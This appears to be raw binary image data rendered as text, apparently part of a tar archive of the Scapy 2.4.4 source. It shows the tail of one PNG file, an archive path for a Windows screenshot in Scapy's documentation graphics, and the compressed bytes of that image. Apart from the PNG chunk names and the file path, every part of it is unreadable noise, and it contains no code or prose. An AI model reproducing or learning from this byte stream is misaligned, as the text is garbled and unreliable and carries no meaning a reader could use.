[Öl÷þï%“°Ž°9¼tc±p½ˆŠˆYƒÅžEâõ1Å)ã—ä5ft•Êx ÚO1K±¢Ã4 €£àl£½qŽ—t äÍ_ìÞ“cé±i&¡×Ôeš]߈RóÇH¿]Ó/8Ç`YéÕ;›N’˜Ï]Ó´Y¢€&þ‰\˜óä-nba#°Kœ­±Ë×ÊA‘@<@ÖÜ}jÌ%%ζœÔù¥£®¦^1~%K*rdq¶õ@Œ‚P9ßt { l7ýºóØ-_¢¦—gI û#@Ycï”#"ø(^¼øå;1ǯ艖£çbT[¹U?¯ÉÁʔ΅­ÚòÕ¿½&9jž&€|a{Ôë÷šÝàØreúuùNÒ¢E)kþæââìÓÉú¿gjK} CÀ,µ½6[ØËE([PgŸ$ $¥K—¾q/LÞãÓp–âø!øÞ‹7¢jYÍ÷Mû5ñú•±ƒ×ïÅók¢ààrû´å‡' ²0<…£¯kS1ç/MÌârMEdžšL”G\ãûE—×ÜÄu!Nà½ÇáK\èy¢D‰‚ì%g@`„k¼8è=s¨1˜,k’‰£‹&½¼y!Fm›p'gc âè„ûÔ©ÄÛÏ!ðàü‘Ô™r­ØÔP#áá‰Â’874ú^\#Bù‰ÿoÐ5Ôóí•>üÊQúæƒÃ à„þšs 0[3fæ ÍÆ™šÁÕÛ‹u»Å•ÛâæM~“¯Å€‰âòmQ³£FÐ,© uóïjÑnØ~D ûÿi p%Fà`9 ¦f\×ñ ¢B…²83!®‚ôuãÿQùþ?VüyõépÊÿgDÿ»÷ÏîâÈ ±ÿ_ÍYQ8é©T!Q¾xt$›ƒKÅá3"藺Ũ“.µ¸µS³ÂsOºR¥Ûæi¤ä&œ'›¨\Zãs#_ jé7ÑùdóžqÃ(ä*L€@Þ|o?ºUøS¬gUyøL¤O—úÛæ£èÞ³gî¼êjsŽæ6 Ó/¿|ýut°Îxü”ÉsH›6æ6†í}e»wß~ì—¯bÌØ«ñl2]±BÅÑxVbq»"Фi³ S†ï£ëó¯AÖª(ð¥sUÿBàKû‚^éÑB;C“Fhœâ4_ »àb¼i¿Ë™‰§-Ö¬ÚkU¨\çøÉ= ¿ Tû@0X¡Â—JŽæ?>•`mˆM€X±™0‡Ž@ÆŒ‹/¹ë˜ZŽÓ1Ë”)‹“Õ:ËØ]¯^½-\ÌÈ26šÔêú})¾ù¾¹IEYÈá PÖ8üÀ'Í[u[½+¹Ja¬Ù•¼i‹.*5Þrfã¼ëR¥ËÃ[Õ×{âá 7Α¨ú%ZÓxÊkÒf_$ \Mš4¹zÏý¢>Oåýɲó×Å­Çž7V¸61oà ±ã'Vó~¨as½úö¦Ç›¼Av_”5ñ%Æò$`Ÿð±ÉË* ¶nœëºrWާOŸæÏŸ_éæÒ>…PÇ//…A£9$`ϦÍ\{¥ ³bZá ­w.Þ(ùÓ€†‡ŽžÇN®˜ÏyGqˆG8¾¸c [øðìáå=kôœ¹@©4ÙÓ!>ŠA9­ù/}-õKâã‘rn°µ§ù/ž#GÏÈ—/Ÿr¬R¸%ð =fÂ{Ì=µZÇÕÒDT*”'k°§»°á˜ˆÄ$î=I|éüº"k]gõúßJ”(¡p˜ 3oìØ±¯_¿ž={öÕ«WgÍšµ{÷î;wÊ糞={vÙ²eøþòåËœ9s6jÔèÇtwáîŠS§N½råÊ«W¯°~ü8o޼ݺuÃöIí’!!! .ܺuëýû÷áŸ+W®víÚµhÑÂÙ9ÆJhh(?~üâÅ‹¥J•B§eÊ”ÑnêsÒNÒ!MŪ»:õª(e¸©Ybà¹æ;Ɔßp}>±Dž±isñü µñ×Îí¿_4v×Â_ª>üí¨±ÃV‰¶'Û.Ÿ»ÜP/*Ê_¿~ýÞ½{ñŸSE6ÛÄÔNš§pÚ6õÝãlbLìNûüž,0qƒEþûsL!yáÂ|žÝ¿{#Àß;,,Ô”Z–(ƒÏ?7÷äÙräÇIòåË—O°›ÔСC±W¯^–0Ò\m(PâòåË_~ù¥š…ˆ‘>ÑgΜùË/¿„……!1Ü¡‚ƒƒñ´`Á‚>Ù²E[´bÅŠöíÛKŸÚ(2nnnh¤P¡BHŸ;wš¦U«V:ãÇG´lxx8˜úÚ²e‹öY°(Í›7‡„ÂS`—zLž<ùÒ¥K4h€LéÂ{Šºwï^­Zµ hÐ¥GãÆ} ³k×.Ù–mÛ¶ùùùuèÐRS5Ð:(i4uçÎi[ àöíÛ·E™ÌzBpŒ9ÓE0"&sf­SÙ„¨]»6$tpªT©gHvÍXÿòõ=Ƹ¿ (ºïà®)RXßöHf$€EíÖ¤uœcÇŽIÊCû‘”ö÷÷G k7;wÆ:ΟŸ.èÊ•+cŽ2i¹"’ŽžÀ#i~[¥""" Zàá‹¥®Ø¡!V2dÈñga¹MLÉi½‰~ýúÁÿ~Ê—.]ÂÎ&”ÁEp=F¾´È5#‰ªN …!Toû¦gR֘Ί%IÀA äÉö]G‡P¹ÍŠ¿'ûÌmU8À¹ÙÏžõ¾ë°dÜd¹k«ÚÁÎHÀL '´[’6Õ¨Q®ÄÚùrZ–Ø Ž¸ªÀÛ+SHc7.lð„˰¬l YäºrBÚèÕ‚bÒ¦qlVœ{ä2RB*iâ–4i»*¢Y8Ç`© –`×:¬‚ˆY°`žà¾ƒ]T(€ÿ¿ØÝ=cÆ íy íÞÍ}1\íÖ™& ™¦µ'OSå˯¾íÕ©u}¿_;…&³üqAbÂb×5»½fÌ^V¿~}Ù&HÀžäÉ“û&]LÄ .h¬Á/i´BGÞ•=Û&:ºDšÂD&r k0%ƒE8c©H»S___l¹‚É3zv#iÄ¡Áþm\(g8Í`½ µà<„Œs98:ËpFLÀ£ÿ¦­P™UH€ŠÀwßìß«/‚—iæµû˜e‡¾óˆ@/oš¢Gj˲fë6% …œÁìK`` Ž!]ºtAdBÉwÊ”)˜ÑÁ~i¹ æ<°Û;´‘ƒp8r>fP°¹Z¾•+W®DBê Iͬ[·N§˜äSŒÐ|ñšŦ*ØöÕW_I1r¤6ᦃ­ãHK.5HH½#H N§¡„a¢ºN~Ân)kƵHÀA `›èÂÅ-\ºó÷ÅË·L¾~·ù9 Írͽ&ýUâÏ»,Z‰?+Íß[$ÅÀnml«Æ fkŽO¶ C¯]»dbåСCsçÎÕ–XÓyøð!žêLº Š ¶‘ËMa:gÕªU¸•öC!ÝXøŽ097oÞ”‹Áó!dä§r~œ ,“!¤ÍþýûwìØ¡]X[²»1¦m0Wÿ›'NÈÅ0d„ØÁt޹"†Çc*JD…} V([Ã„Í ÈëšÆ-‰Ðú¯»¤±ıK3‡„@P#Ç/!öÆ”‰Ã~ÿófã¯ü›× Ï•õ³Ð22Òx°¿Ï¨*É Ã<ç#ÐO{8qa±|Ýß+jw]•;kD•’¾_–¯X!ÛõWÑÉÅJ'.Š£ç»èõðy¢¦ÍÚ¬XÓ¿auŠñ–ì›æZà‰‚¼øŽK,œy¡iFŒ!Ýb+f\¤xÁ˜öào „ÑÓvÂÅôN†jÚ´©4õ"•DEÌÍȵ€c/¶,-^¼ñŽå|D…§fù©‘ĤI“ptÂá ¨ .©$¬‚ýXJ“+b "ôàl,#Æ%åc;:òcoË’kÅ+aò™Pq¶úLdª–úùbÝ>qÖc‹Àá …Û·º~½‘^ªŽî{tÈež eÅI»7¯âèáGo¿qãN¶L‰ófÌ›Õ?k†·¤ÂÃM`g8ÎgöÁâé+—;O<î>v~ò"¬H‘üU«}[¥juÌ´cš=ÎŽX€ô€ ­òÏ„Òk¹œ‰}IXÊÁ8RÒ³)±?鱉S ˜ÔñööÆFnü €ƒ´ä¤3¡à§‚F°‹k=ø«ÅPF^ ’ K ¬ÁµßáMŒÙ”"EŠèˆ×-Bêa ç0ÀwEðÆ>ÊØ-`µ Ű¾Giôˆ‘ÆÞ‘»–‰9¦ýIebc,F$ਠH ×Ðᣰ aµ4×Û×Þ<ñõùpòä //ÏlÙ²{z¦ðJž*m¦¬ «À/nìŒÐÙ¯á¨ü8nØoˆE"yH/Lá`5Jï#LĵƒË.|[ì©6˶j©YÈ,\:]ľ…ÒÂ…™¡Ø>?‡²æó²  T¤=¨r.bˆa5]Úö)g2A$@f'À)_³#eƒ$@$@$@¶!@Ycîì•H€H€HÀì¸ev¤lH€H€l@~ÁðÜ—ÎF°A÷Êè’²FïÁ¾¬Àqe'OžD(l䳯‘q4$@$ \Ø„ýÞʵÏ*–QÖX³t"IÄgó8|;±ÏåÆ0t‘H€H@)(k”ò&Ôh‡Ž”Á">>>ˆ_"ÅËËKƒ¢Í$@$@ê%@Y£ÞwgËH™€€ÛØÄ^I€H€HàóÉWñâþûº¿ÿj¬“¿“G⤉\\Œ”á#ó~öî¹ÚD H\˜•Á“Ô¦)ƒ¥¨-Z˜«ksµƒè–ˆAn®ÖØ €¢˜OÖ¤â²Øý4ú0 ½ƒôø5Ù˜jófά÷)3-D`ÆO?™«å_ý±±qp” NŽ•ÅÞöq¦+N5ÓûȆ™ÇŽ{ùò¥ `×$@$@–#`>Y1ÙhÐd×I‰*-Z&~ˇ-[”Ž™•ÚDZ«Ð8ƒgŽDDD@âêt"EŠºuëêdÚü‹hoß¾µ¹4€H€HÀÌ*k,a ÛT$œ7‹K:—ÇÙKñ IE‚F‘ ØÊ{{£Ö@á¡?èZ–8[·nÍ’%‹õa$@$@ŽL€²Æ‘ß¾ùÇ®-q‚‚‚Ìß[TÇc&ûúú¾~ýúÁƒH{zz¦M›VUã ±$@ª!@Y£šW¥:C“%K¦:›i° `Q²J•*)S¦D›Ø1O¬áÇ#íííýáÃ)ߌݱ) Êþ X„@¦L™’'O#µ¿r)@Ö¬Y©i,Bœ’ Á¼ùS@$`¹råÒ;cW­Z5‹ôÇFI€H€²†?$@–#PµjUÆq¤†·ýëÉ[ õàlzß-'¥¨W¯ž»»»Ž••+WÖÉá- ˜‹€U}k"C£®>xðèÕ+sYÏvÌBÀßO7’žYše#$“(QŒ_2˜­o É €…Äøc¡>äfƒ†…ôY1Û)‰“œÃ„D–‰•`m°7’{ Îu—V½zu9Í ˜€UeMH½0|™} lH@±à^³víZÉ:Ö(ëÅаG”5öøV9&P¨™Ä‰;;;Ó±FI¯…¶€} ¬±Ï÷ÊQ‘€ràÀKh:Ö(çаc”5vür94P¸×DEEU¬ÈàHŠx4‚움UãÖØ7JŽŽHÀV­ZѱÆæ“ ˜‘€–¬‰"ÒŒ-³);"€Ÿ ^$ð–,YòµY•H€L%-kï¼eDRSk±œ]ÂÕÓÕÙÅàŠdðÇàr–³«1«a0cÆO>ä7¯j0Ölô÷ýxñâÅ%J8И9TPhY“5uºu/^—RÝ´ÔŒ¦JÕsݺš5kš±M6õù®ß¼Ùzê¦Â5|~SlÁŒvOî}ùòeÊ3"eS$`Fÿ@7clŠH€H€H€¬@€²Æ Ù €5PÖXƒ2û   °Ê+@f$@$@$@Ö @Yc ÊìƒH€H€HÀ (k¬™] Xƒe5(³   + ¬±dvA$@$@$` ”5Ö Ì>H€H€H€¬@@ëL(£½y ÑÚÍÃÝÙÅh)>´6ˆ¨¨qA"#¬Ý1û#  å0UÖ¬Âûëæ©«|£¼!8´EïžÜ¼`ÄŸÁMƒ'  OL•5(ìžb& X“@<ÂñÅiÖ‹[½_>޳ ˜‘Àó›ü"·m±˜¹ŒàCe ~tjßÓkg”ižÃZõâÞuQ»´Μ9 ,]ZÿØûôé3pàÀ®]»&MšÔápÈÊ!`6YãÿáÍì¥J~ÓV9csK"ÂB+Ö™dx¨‘‘§íàÔ°aBÊ}ðèä¾ÊÅ Ky)ˆÀ‘3‡]ûþ¨ ƒ¬bJ@@À´iÓ.\h¨·-Züúë¯Ë–-ëÖ­›¡2Ì'+0›¬‰ M—«PÓ1Ë­`4»0@°¿ïÃÚ™E¿éUXR!R&÷šß·oƒ*UbÍôN“&44T4°Îb,@–#@Yc9¶l™H€¬A Q¢DÐ4'NœxóæÍ•+W ôâÅ ¬@q—‰—Y  zþüyœµîß¿ä8‹± XŽ}k,Ç–-“ €Å º¸¸$I’Dê)EŠU>]˜¶éÛ·ï‘#G>ßI©Ü¹s'sæÌÆ[Ci›•ñb|J–#ÀÙ˱eË$@$`q3f̘0aBìnŠ-Š9›Øù ÈÉ›7/&„ YŒ× ~úô)V¸ŒãS°(Ê‹âeã$@$`Y~~~³gÏÞ³gëÉ=]»P/ïcIDATv 1Ûµk'ç|N¡nˆoïÞ½Æ9tèæjÖ¬i¼Ÿ’€E ˜ºU^ˆ>Ë&\=Ó5‘QQ‰S¤1ô”ù$@$@– €½ÙÆ C¸¼F!_Ê”)ád‰Ó¿ÿ!C†È=úûû/^‘ˆ†±†'N,?Ú¶m[ݺuå[½ ˆ¤òåË?|øÐPübÔ¼BöeÍšUo Ì$ë0UÖ”Bs®Phˆ!³ž QÑÐ3æ“ X†@›6mÐ0NšDÄ<ƒàíí ‚• 9ŒÔ­‡‡üylSÕªU1-„“¡ô6rãÆ ÌÖÀ½O™IV#`ª¬±šAìˆH€H ²ºPÑÄ*Ø`… !„ÃñôôŒ]eæÌ™-[¶42—» sHÀè[c ªl“H€ìΙÂ.'xíèNƒ=z´ÞGÌ$kàl5i³/ P1¥K—²þÀ†1Ÿ¬I€³5֤;H€H€H€,H€²Æ‚pÙ4 €5 PÖX“6û"  ° Ê ÂeÓ$@$@$@Ö$@YcMÚì‹H€H€HÀ‚(k,—M“ X“€Ù6x#÷Ó·/þÐКֳ¯8 „½ ò³ (‘€“SŸ9sþ9sF‰¶9°MK·oßܪ•àÐI@ÑÌ&kÒ qNˆG7+z¸i\ ‡µ zöüùq.hÃTÝšôèç Jª &»!`6Y"¥?}Ù „lK!ê«Þ¶6°w PúÖ¨ë}ÑZ   ƒ(k ¢á   u ¬Q×û¢µ$@$@$@ PÖDÃ$@$@$@ê"@Y£®÷EkI€H€H€  ¬1ˆ†H€H€H€ÔE€²F]ï‹Ö’ $@Yc  ¨‹@t8¾Ð°°[BѲFß#æ‘ €šðoV5½-ÚJ$@$@$`„e8|D$@$@$ &”5jz[´•H€H€HÀÊ#pøˆH€H€H@M(kÔô¶h+ €”5Fà𠀚PÖ¨émÑV   #(kŒÀá#   5 ¬QÓÛ¢­$@$@$@FPÖÃG$@$@$@j"@Y£¦·E[I€H€H€Œ ¬1‡H€H€H€ÔD€²FMo‹¶’ !@Yc‘ ¨‰ešÞm%  0B ‘ö³ÿýwÿþýY³fíСƒv¾œ~ôèÑŠ+œ‡*g2aF¾¾¾3fÌHž}ÌØìg6åçç7}út/¯ÿµwæÁ>–m½Z,y'[¢†DY²•¥ eÉ*[–¦²ƒP*KB5ca^1²‰a,‘™‰Ê¾}IÅŒ¥E¼Ÿék®¹=¿s~ž×Ñ8S×ïß\Ïõ\÷ußÏ÷93÷÷\ËýûO÷îÝÓéʇ;Ž€#à8™.^¼hÞGŽÙ§OŸ‡~xݺu¦ …Õ«WW¯^ýÆoüí·ßB½Ë× ƒB+ ,¸oß¾kå3ý~:tçw²°ýû÷§ß~ýõWþð²dÉrM¼¹GÀpG@xÊÿ®¹råÊš5ë/¿üræö)GÀpþ¾8­ùû¾[2GÀpGà†€ÓšØ ÷ÇuGÀpþ¾¤—ÖlÚ´©k×®‹-¢3f´jÕêî»ï.[¶l—.]>ÁmóæÍíÛ·¯ZµjJ–,Y¯^½9sæüñÇ¡Ù[o½…ÃóçÏSžÜ¿Œ)4©Y³&–¡2õcÆŒyüñÇ .\´hÑZµj¥¤¤\¸pAf”¸âçÓO? G=åСCCå7ß|ƒ’¹LIåÐ;ï¼Ó¸qã»îº«T©RmÚ´Y¿~½Ý•0dÈF!÷ÝwíÚµ£îÁl¾úê+¨T©úG}tÔ¨QgΜ±»&PÃôÒK/•.]šY>ûì3»•D˜0aSÿðÃÔßôë×ï‘G¹çž{Z¶l9wîÜÄQq0רéÓ§·hÑW*TèÔ©SZõU6ÅÏ?ÿüòË/³’¥K—š!ù³¿ÿþû QmVÏž=‘©’Öp|þùçxàþ<´† U`>£ËŽ€#à8*7í3bÄVIɰi"ªU«0 dØôóçÏGóꫯ<ž[o½›[¯Y¾ûî» Ô­›o¾Yß;v4„2eʠܵk”"S¦Lг„Ž˜åéÓ§eÉ]Üb)3öEÙôêÕ MëÖ­müIkËœ93[©é{÷îåÓO?- tªbÅŠòFý‡üŽ A(V¬·`u<²lØÎe@+“ž”QV[¢D 6éÐf7Üp©MÂM7ݤW“ -#2t—,Y"pÌ JXŒÐìcb~öìYø¨ž‚5HÀ-lL®(dFÉtæù§Ÿ~*_¾<Ê&MšÀQLÅgöÙgåß¾9Âð©S§ÚK´?lÙ²AË̹ Ž€#à8Ž@rþÞ¾jZC„ÆðÑG,!ˆòá‡ÞrË-ì[pùß»w¯v_:„ù§3ˆË믿®½ &aËYÁ!<ãÇD¿{÷n¢XBl¥c M¡B…9zô(ª¼}þùçŒZ¹r%—P+óLTF|/^¼ØôÐLžø€K0ÆKгŸ‘A¿páB+Zi£Ä9´goÙ²E–"¶…KY­Z5Zl&MšÄ%qΠηnݪ»â=åÊ•CI,GÊ“'OBYˆ@ŒÐÌ›7»DVÔ,¾a6èI®™F´2{0%!l°ätS"µÊ;7ú HÏR¹ ƒIèIëÈ,­aÍ6lg+dQ˜˜óà0¼Eâ"Z!IC¦iqšgžy&ä4ñŸ‡„axüsçÎiýâCÔÐá'Ÿ|ÂÛ$½>£ËŽ€#à8Ž@Ò[[ÃæÄ‡°*ºäûÉ'Ÿär ÿsïܹó‹/¾°<z¶R6T(ˆÌì»sçÎ HÃ6¯€‡9d,·¾ýö[‚À±:üßOü™‰žxâ "²Y³f Âk¯½Æ7–¦d?&Ÿ’/_>4¤Bø&d¹™¡W1þ¥Ñ7Õ!ÐÓ“âÃö _1%øhUŠ!A_ˆîðZŒYB’(j±ËäBݺuï¿ÿþІjX¡/pFsÒˆ„»0¦Ú)ôFñõ: *Y9¨~ýõ׼ߙ3g†ù¯˜Ïz3Yo“à Ë”< hógcGÀpä\ªíHntŻԙ*šb–V\" (VƒBÞ¼Û„ƒÌ‹ …âÅ‹‡—ȇ„ ;vìXR»¹ŠTY~£œœÂsBhȼS>üyðŠÙDàòKGÀpT¸ŒÖ(ö`ÿë' y„21u’hÑp œ†îkÎ\‰”­D,ÿ¯Kú­hVÏð—_~I ÙºiØÑå‡<´†<A4Fk‰Ó©')¨#{ T±„E²Kº{Åo†ck!ÆÄX8ÃØ=Â.J2Ön¥j©‰–s'žmZ¶l½Ö*“b^²f Ïôš2eÊòåË©â·Qµ¤˜ÏnëOU€Üð°ã7Èk€è‡KÕÞ•Ž€#à8Ž@ˆÀ¿Ã • RABos¨7YÇî)¶aÊ8‚êv9!&ÂiÂÑ8~dCn…ˆutKÙ(ÊJ8‚KyH¯-™Ù¡;Dek¡ˆ#X >ê{RJö*›ýøãÍ­¸-TªAŽÜ /5œ`mÌ¡™–"<èÄ<ŠoˆÑ„E`)bFnD“Ö%'ŠÃ»Nú¢Ñh11—1ÔÁ"aòICgÒ >ܦíë„g˜‚„” b>»y …·ß~› U2%øðæz}Û·o7½ Ž€#à8Ž@2ØÌ§úbÍöö-c@’bРAÜ"ÀffCt &ÓHІM}®.UGÂ^šÑ­’DƒéÕàMÚÈ48|–Ù9{†KŠ`TOÊ9¡™8ìÁ”lüTøª©ÊºÍ¹ËÁÁz*‘ãù˜—%áœJdsBZJ«¢?Ë”bH$ML#¡aÆxnÖ¬£ì–z­Y†ŽžCÏéÀ˜Q!Ëc›Ù4e[à=¦LŒ‡Ñ¬dw ®Ô®]Ÿœ¶,eLÌI{†aà¸qã̯[e:„gP† ÞfÃ쌢þš~%)c>;Æjð& §–pER2lð¦ëÈ úÈ[¶¸à8Ž€#àD¸ìÜî‘*RåU#DþIp 0–x0`@è"&­¡‰ý‰ª^†“¶€Ð4jÔH›"ßB,r‡Ö`Éqº „”á¿|~EÕª¼ƒ˜þjrF"´Œ8Vx"bè3¹çÙ±¡Ú‰_ào€x›â[PUšžøÃãÐ?ˆ—'J>—ßuGÀpBÒ¤5¡‘Ë £5¤·2ÔÂ|1Ž€#à8ŽÀõEà²N¨ë»ŸÝpGÀpô à´&=èùXGÀpGÀÈ@8­É@/×â8Ž€#à8éAÀkkÒƒÞõËï[QÞKÿ³Zñ¯Ï"|VGÀpG ã!à´&ã½_‘#à8Ž€#à\ž„º*Ø|#à8Ž€#àd<œÖd¼wâ+rGÀp«BàB?äjñߥIEND®B`‚scapy-2.4.4/doc/scapy/graphics/scapy-win-screenshot1.png000066400000000000000000000544111372370053500232120ustar00rootroot00000000000000‰PNG  IHDR–Á$sRGB®ÎégAMA± üa pHYs††]¢XžIDATx^íÝoˆ\Yšç÷'Ö»ë]ãYÃî"¬*¨ÞΣJ½o›ÕT Ù°kO¦rL­-:_4D”îÌ1‚¢Ä4TS8‘`"{%¼™Ð/4lÒ‹,¶ ·9f_t,EdÀmM©  ÝP%¯æ½±ØüÂ~žsω8qãÆŸŒ™™ùýä<Š{ï¹'êA¿:çÞ(\øè‹¶0!,ÿõ‡¿éW8œ¿â_˜Á Á Á Á ÁËЯùêÕÿé—&óÆÅÿØ/Ϊ¡Á²úOþ©üÚ¯ý-ù«í¯ú-ÙþòWÿV~í?üäÿú¿ÿŸÎkáßýòß­ÿ7~ÀY5r*ìÜ¥¢ü'ÿï­¿ù·þŽî÷›=¯ÿ®À,[§W¡P«fÍ?úGÿ¹ü§W¯úµ~­Ö¿•¿þ7þ¦_›Ž‘éïÅÿñ¿Éþ§?Zåÿý yùâíyýëÿ^Û¿CÚ¬–Ëþ—P–½¿ÙlIauϯ$¶ÊRÞŠwÙ*$µ[纪¯¡Éö+VýZW9úå'ûtkukË·ô:8ØsýlŸr¹ûž‡=?³·µOûf\÷ÌŠ>‡Õž_ž5…ë*ëo9ÖGç@Ùÿ{òj·ÛCkýËù?»×¬pi¡òï^¸ þúµß2%6v?üÁÿО›»dŸÖ¡ëæûûþ]ºšÕ’¶•ÚM¿n*•ª_JXß^5×'æŽQŠûÙ>·TѶš[j·«%i—´*aƒWŠŽaûT£jÖ*îýã.¶”’÷wšv<ñ×qøó«Ôº¬úëï¿îüìó.Å7ÕèÃL®Å¯è5–ªa¥Ù½ý<§}ýìxÑqþ~ÿŽŸ–oüƒà*ø7ÿ¦Õþkÿþßp¯Ó6ö|Õßú­ß’……ùõ_ÿu¿%aÛÓÛ²íIqÃ>õ†Ìù-f{{Ý/%4 ¥Fûµö“EGKUݤoæl}_7Ýök½Þ{Ô–¥ñGÍæ·õk²T('¶dc¿"íÆv²næÝ>E·ÏáÎoGk{±û ¬ûëï¿îÙ´¾m×›¸­çüÙË06¹(õÐ6'Ú”Œë繿Qt[Ÿÿåùs÷j#—ñHå¯ÿúä¶OÓXÁÒÂãúúºüÁü¼ûî».H†@ù‡ø‡ny”½Õ%©Ô~-ͦ2Üôɹõ†ÁÞiRÂlS i•×¥bËÉ&¹·±/®ÇqµW»V‘B9{Šk¶nXÜ»·!Õf*;ºûæül߬sɺn›Ö[(¯º©Ãnº­M™MõµÏͤ÷=ØÛ’{÷eÿñ=Y] ï»çö·u{íNáÕíú¾6…uu5™¦¬¿0ÿ~ÉÔÖ4›\Ôëj øÜõÐî2úñ'!3’¼o8—äýÝ4f›ZìÏϦÛTÚp¾ÓUn:®^«;ßò=¿5-ûz{¦/Ûuvý ÏyØ¿­Æ)L_—G*q¦Âþô§?m/,,¸a^ ’m ’WkÛØØhkÈtí¡ÒSa5PõL/ƦXöLž´é©~Îe˜ÆjÓ<Ã4L;^`}Ãqì˜a¦õ‹—ƒxŸXØgØyÛ>®ë!Îτ鶥îL³x»ªÁ®7„ 4·Þ je›ƒƒ-‘ʇÉ7Ñr'™bûaï}šÙæÜ}Œc=}uOÏÓ‡ÁõGƒÎÛÞGSž7Éù-nÛÔ`»ëÒK]·µ[}÷“7U5ÙÖìÖý(°fíÛË"ZÉíW*ÇŽ tŸ%ËÊÂØ#}ÏøÒ ¡‰8žZ:îd¤·ӿƆ_¯›²\©ÈRçïÃ|>À ɺ§òHÃå¸O…µ©¯6íÕ¦¿Úz\ñôذOÖSamZiÏÓUUx*¬½O̦;ÆÓ"Ý´Nío³÷Ó@×3}tÐTØ œsÞ§V±'×öžK%}Þ=O…MŒ}~Ña“÷éNÚ½îfÔ¯ûTY㦌ê{ÇÓS³öµ÷ЧŒZ¿øøµJxÏÞ©ªîZ¢ ‰UŸhk×ç÷³>³[{t¯5ùü‚f-9¶_÷ÝÓ'¢'¿º©¯ÝÏÍúÅ×Îièõúýí÷N{ðþ8Ò¹ Ë8û·QO=Ši±Çúu#¦©aÊþ1oû”Jݯ±õ^é¯è #Ž»W±7˜Y8è„ TÐKô¾ícëIi¨‹ƒ_ÄÂOç¼S_‘’ïüª>¸~Ÿîu'÷1Úç” 8©`eíÎ9è¿Ôî^ªžû˜Á2ï¤ww_¦?V§RI3~ý‹Ð9·æÆ–Ê~îúw(në;÷ŒëµõèÌÝzýùàò+Eþá?üÏüÒt,XþëS?~ÕòOå“ñ?Ê«¯¾ò[Æ÷îõ_˽ÿþû~m2ö”ÐÛúûûRÚq¦.8-†Ë'ÿâòK“¹þ_þ~ Ód÷2¶Ý@€“74XbÆØw..íHóŽâ˜]‡þºœ ÿ5%„J³„` È…` È…` È…` È…` ÈÅ}ÝÈë»—ý*àÈ™×ë§#ºÀ ÇrínŸñG/mdð}¨Ì%ü½ïvGCo¾ÙÝö{©©Ÿ¦ÓW_u×oú©·q=íUß컾›Æ{HÃÎkP›m‹§»Úñ¿û{ɲóónÛ?Óצë}^

õ^¼x†¿’'¯.úQÒe÷>yzç†Yäƒøäô|ìoâ°ÿrCïÕ[©i²ÀºÁr_¤PYodN.i°\Ý.GôÆØ;_þ(mùøcyÿÛc)w¯˜_Qyë[nöôÌ)°v^oÉÇ~ÔéGÏ_ù†ÄÀëÕ bÛlJ¢¦†¤ÝêF`ò^¯¥ßx™¼þ‰Ÿß“…¬ï|G䇺îöûm}Õ0Ä}¨¯ßÑ×Ô\ßßõ}˜lû}ÍÊb}ôM¾§Çý±õµcèû|/x#¸>z-öú½kvŠ‚é°s6ßùÛ"?9Ð@©×ÙÐóý9ßp6òxýÛÙC|›¯Ë“›wüÚhókï럳$¿ä?‘[›Ë²¶«¿|B÷¯ûò·¯÷LËÍôÔηÿ?„à|ÛØØðKƒõÝciQ5@6“õØÎ’¶—“pYÉÖw,/^È;>H¢ÿ¨¦<3Uÿån÷¯ÝJ ž/h÷°ÙtC½çæ¥óõþà“×?þAò|GƒäO4x…Sý.Ëo$ËMèû¥¾Z0ýŽ€ó—D~âûêÖviÌ´ó] •}Ç3à}ÃŽ¯ÇúÁ?KÖíMþاÙQçl¾§ýþü/“`úséÏQž~ªAðê7ýZl^®êŸ‡ùÝ|íM t¯Â'1€’^½%×/¾r#¡½ÿÉ¢kys×?ž¦ýMÝðüÓñnf6,‚*G…Ëx=E®ßêŒÀÍÊTX{8‹;§>ûs/åO‡ìz’מnú;Ñhd5ÂhAëïþmýãÀ­v¼x©øàiËs¿ëC™þñÛºý嘕½Åïj˜t#޾Æõw´ó¯ì<2Œ:çØ¯4\NÛòæÃÑ£ƒY.ж_ó¯É(i<»ÛÒ} Õûò3÷€òÿcÿ[ïôO-<©ëýÕ¥$¼]úUˆËŠ46~f£zé@f£”!ÔYˆû•†8›jjÓZòÃî}ž£èi¸i³q°LŸ× ¡CÏ#˨sž–ådЯuÙ½’ñC{ÆñôžèŸ6Î8ÈWîO{Р·v§´²FÁ“ÁÕñÆ"wæ8ËB¨ ¯ƒtƒe) †[e‘â’ß©5Eë~ºkÚˆ¾Ãìn®uî›ÿÚ › Ç5v›†˜õM»Eò–ÿÚ†Íݺ¤ŸÝ3êz_üôgîá=}#™y®×æ_ý8 n飞Ýk߃h³ #~6ÔBZx Ï7ôÕF%Ã4Ó²M]Õ ÷CôÒqüøOô½4Œ~ÃØ ÔóeS^í}Óß%ùs»†è¼ìäÇßc9ꜧå}ÍOþ(ÃýÐïÅ÷wÊþcÁ¼ÿÝÏÏ/'ÇæßJ6¤XÔ|kÌÿ°à‚ëÕ[~mwîƒ&Øà¼I‡Éaá²,¯hHÐи‘1iŠ,3C¥Ñw˜?ùÀ¾}ð~2êrˆ_zy\É4ûû<¸± Ï_½‘¼ßnÊ‚ûn‰®‘×kß)¨}l$ÓWŽï´ìаg£ƒßùÇIh #ƒá)¬Ò~ø?ê¨õR—íÄÀ¶Ùè ½–ýkðcÝ×öóõ½m{¨ ^Ó^C€µh´¬áÒ¶Û{ü8zþ¯’×g„BëÎë»Ú÷E4Ÿ7nKŸóT xÊê°‡ö„ï±´M yî÷ý× ɾyÿ‰<ô¿û¾ýV2:9ä?¸¼ãŸb;ìëD†>éæÂG_ØVj‚Ú¬×Û 2Ûf©¾ñ{ÒþÞwGo›¤4°µ5öŒÜvÖJƒ_[3Zjû¼ÛÞ»m–jyàùͯíjÛffEQEQu¶«Õj宂Ë×w/ëûa6²dO=®)¸Ñ”g÷?¦ÙW„bæj&ý ¿Ø=—éé¶g‰}eÌW÷oÊþ›ogÞüò¦<¼õ†,,D#“ókRxýØf `¶h0ôK“#XÀ96`yâ_78ݱ€sìç?ÏúVûñ}ýë_gÄÏ™ –k»uÙ]óKþr°‡÷¤¿ÂÁîrÇ€YÀˆe› _=±§ƒú ž}áÅëeÈWÀ™Ñ –‘’_ÌÒ¬ù…,#úžIókrU^Éß3²pó‰ÜÒà g]7X~&Òh‹T$ÄfQ¤m_Ÿ™eDßQÖ6wÝ”Òúî®,r騾Ëk›®}wwÓoéÚÔ>¡o§ë²î¿»æWºljm<åu÷áuy~?ú.À´Ü 3bœuÝ`¹/R(ˆ¬7²G'—4X®î —#úc÷#¾óåÜ—³/|ü±¼ÿíþP7Ȩ¾6õý7?M¾øýâU©GÉÐå?KúÞüÙWòP×]|ú©îûŽÛ'öæE‘/áW”®öMM»ÿ\äú·™ 